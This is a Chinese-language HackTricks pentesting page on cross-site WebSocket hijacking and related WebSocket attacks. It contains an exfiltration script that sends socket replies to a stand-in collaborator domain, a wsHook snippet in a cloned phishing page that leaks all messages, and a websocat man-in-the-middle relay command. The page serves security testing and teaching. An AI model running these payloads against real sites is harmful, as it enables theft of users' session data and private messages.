hacktricks/pentesting-web/cross-site-websocket-hijacking-cswsh.md
2023-08-03 19:12:22 +00:00

171 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 跨站WebSocket劫持CSWSH
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
## 什么是WebSockets
WebSocket连接是通过**HTTP**初始化的,通常是**长期存在**的。消息可以在**任何时间的任何方向**上发送,并且不具有事务性质。连接通常会保持打开和空闲状态,直到客户端或服务器准备发送消息为止。\
WebSockets在需要**低延迟或服务器发起的消息**的情况下特别有用,例如实时的金融数据源。
## 如何建立WebSocket连接
这里你将找到一个摘要但关于如何创建WebSocket连接的**更详细指南**可以在[**这里**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)找到)。\
WebSocket连接通常使用客户端JavaScript来创建如下所示
```javascript
var ws = new WebSocket("wss://normal-website.com/chat");
```
**`wss`**协议通过加密的**TLS**连接建立WebSocket而**`ws`**协议使用未加密的连接。
为了建立连接浏览器和服务器通过HTTP进行WebSocket握手。浏览器发出的WebSocket握手请求如下所示
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
如果服务器接受连接它会返回类似以下的WebSocket握手响应
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
此时网络连接保持打开状态可以用于在任何方向上发送WebSocket消息。
**注意**
值得注意的是WebSocket握手消息的几个特点
* 请求和响应中的**`Connection`**和**`Upgrade`**头部指示这是一个WebSocket握手。
* **`Sec-WebSocket-Version`**请求头部指定客户端希望使用的WebSocket协议版本。通常为`13`。
* **`Sec-WebSocket-Key`**请求头部包含一个Base64编码的随机值每次握手请求都应该随机生成。
* **`Sec-WebSocket-Accept`**响应头部包含在协议规范中定义的特定字符串与`Sec-WebSocket-Key`请求头部中提交的值的哈希值。这样做是为了防止由于配置错误的服务器或缓存代理而导致的误导性响应。
**`Sec-WebSocket-Key`**头部包含一个随机值,以防止缓存代理产生错误,并且**不用于身份验证或会话处理**_它不是CSRF令牌_
### Linux控制台
您可以使用`websocat`与WebSocket建立原始连接。
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
或者创建一个websocat服务器
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
## 中间人攻击 WebSocket 连接
如果你发现客户端正在通过当前的本地网络连接到一个 **HTTP WebSocket**,你可以尝试使用 [ARP 欺骗攻击](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) 在客户端和服务器之间进行中间人攻击。\
一旦客户端尝试连接到你,你可以使用以下方法:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
## Websockets枚举
您可以使用**工具**[**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS)来自动发现、指纹识别和搜索websockets中已知的**漏洞**。
## Websocket调试工具
* **Burp Suite**支持对websockets通信进行中间人攻击方式与对常规HTTP通信的处理方式非常相似。
* [**WSSiP**](https://github.com/nccgroup/wssip)****WebSocket/Socket.io代理的缩写这个使用Node.js编写的工具提供了一个用户界面用于**捕获、拦截、发送自定义**消息并查看客户端和服务器之间的所有WebSocket和Socket.IO通信。
* [**wsrepl**](https://github.com/doyensec/wsrepl)是一个专为渗透测试而设计的**交互式websocket REPL**,它提供了一个界面来观察**传入的websocket消息和发送新的消息**,并提供了一个易于使用的框架来**自动化**这种通信。
* [**https://websocketking.com/**](https://websocketking.com/)是一个使用**websockets**与其他网站进行通信的**网页**。
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)除了其他类型的通信/协议外,它还提供了一个使用**websockets**与其他网站进行通信的**网页**。
## Websocket实验室
在[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)中您可以找到一个使用websockets启动网页的代码并在[**此文章**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)中找到解释。
## 跨站WebSocket劫持CSWSH
也称为_跨源WebSocket劫持_。\
**它是WebSocket握手上的**[**跨站请求伪造CSRF**](csrf-cross-site-request-forgery.md)**。**
当**建立**一个**websocket**连接时,**cookie**会被**发送**到服务器。服务器可能会使用它来根据发送的cookie**关联**每个**特定的用户**与他的**基于websocket的会话**。
然后,如果**例如****websocket服务器**在发送一个带有“**READY**”消息的情况下,将用户的会话历史记录发送回来,那么通过建立连接的**简单的XSS攻击****cookie**将被**自动发送**以授权受害者用户),发送“**READY**”将能够**检索**会话的历史记录。
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### 跨域 + 不同子域的Cookie
在这篇博文[https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)中攻击者成功在Web套接字通信发生的域的**子域**中**执行任意JavaScript代码**。由于是**子域****cookie**被**发送**,而由于**Web套接字未正确检查来源**,因此可以与其进行通信并**窃取其中的令牌**。
### 窃取用户数据
复制您想要冒充的Web应用程序例如.html文件并在进行Web套接字通信的脚本中添加以下代码
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
```
现在从[https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook)下载`wsHook.js`文件,并**将其保存在包含网页文件的文件夹中**。\
暴露Web应用程序并使用户连接到它您将能够通过WebSocket窃取发送和接收的消息
```javascript
sudo python3 -m http.server 80
```
## 其他漏洞
由于Web Sockets是一种将数据发送到服务器端和客户端的机制根据服务器和客户端处理信息的方式Web Sockets可以被用来利用其他漏洞如XSS、SQLi或使用来自websocket的用户输入的任何其他常见Web漏洞。
## WebSocket劫持
这个漏洞可以让你绕过反向代理的限制使其相信已经建立了websocket通信即使事实并非如此。这可以让攻击者访问隐藏的端点。有关更多信息请查看以下页面
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
## 参考资料
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>